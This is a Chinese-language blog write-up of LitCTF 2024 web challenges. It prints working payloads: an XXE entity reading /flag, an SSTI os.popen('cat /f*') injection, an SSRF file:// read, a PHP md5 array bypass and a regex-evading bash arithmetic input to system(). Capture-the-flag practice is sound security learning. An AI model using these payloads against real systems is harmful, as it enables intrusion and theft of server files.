跳过正文

LitCTF 2024

·158 字·1 分钟
CTF Ctf
HYH
作者
HYH
一名专注于网络安全、渗透测试与 CTF 挑战的技术爱好者,热衷于记录实战经验、分享工具与技术,致力于持续学习与成长。
目录

WEB
#

exx
#

这个标题以及整个界面,在NSS里面是做到过原题的,整体思路就是XXE

<?xml version="1.0" ?>
<!DOCTYPE note [
<!ENTITY hyh SYSTEM "file:///flag">
]>
<user>
<username>&hyh;</username>
<password>123456</password>
</user>

然后发包即可

SAS - Serializing Authentication System
#

base64加密之后传入参数即可


<?php

class User {

    public $username;

    public $password;

    function __construct($username, $password) {

        $this->username = $username;

        $this->password = $password;

    }

    function isValid() { return $this->username === 'admin' && $this->password === 'secure_password'; }

}

$a=new User('admin','secure_password');
echo base64_encode(serialize($a));

一个….池子?
#

能够回显2

可以看出考察SSTI模板注入

{{lipsum.__globals__.__getitem__('os').popen('cat /f*').read()}} #直接打通

浏览器也能套娃?
#

这道题虽然存在XSS漏洞,但是考点是SSRF服务端请求伪造

使用协议绕过

file:///flag.txt

高亮主题(划掉)背景查看器
#

一眼文件包含,不过需要抓包

百万美元的诱惑
#

<?php
error_reporting(0);

$a = $_GET['a'];
$b = $_GET['b'];

$c = $_GET['c'];

if ($a !== $b && md5($a) == md5($b)) {
        if (!is_numeric($c) && $c > 2024) {
            echo "好康的";
        } else {
            die("干巴爹干巴爹先辈~");
        }
    }
else {
    die("开胃小菜))");
}
开胃小菜))

#?a[]=1&b[]=2&c=9999%20 绕过得到./dollar.php

//dollar.php
<?php
//flag in 12.php
error_reporting(0);
if(isset($_GET['x'])){
    $x = $_GET['x'];
    if(!preg_match("/[a-z0-9;`|#'\"%&\x09\x0a><.,?*\-=\\[\]]/i", $x)){
            system("cat ".$x.".php");
    }
}else{
    highlight_file(__FILE__);
}
?>

上面的正则表达式过滤了以下几种情况

  • 小写字母 a 到 z(忽略大小写,使用 i 修饰符)

  • 数字 0 到 9

  • 特殊字符:;\``、|#"%&\x09(制表符)、\x0a(换行符)、><.?*-=[]`

这里只需要构造出1、2两个数字即可,用了一种很新的思路

即可以使用$、(、),~这四个字符进行构造

// 
x=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
Reply by Email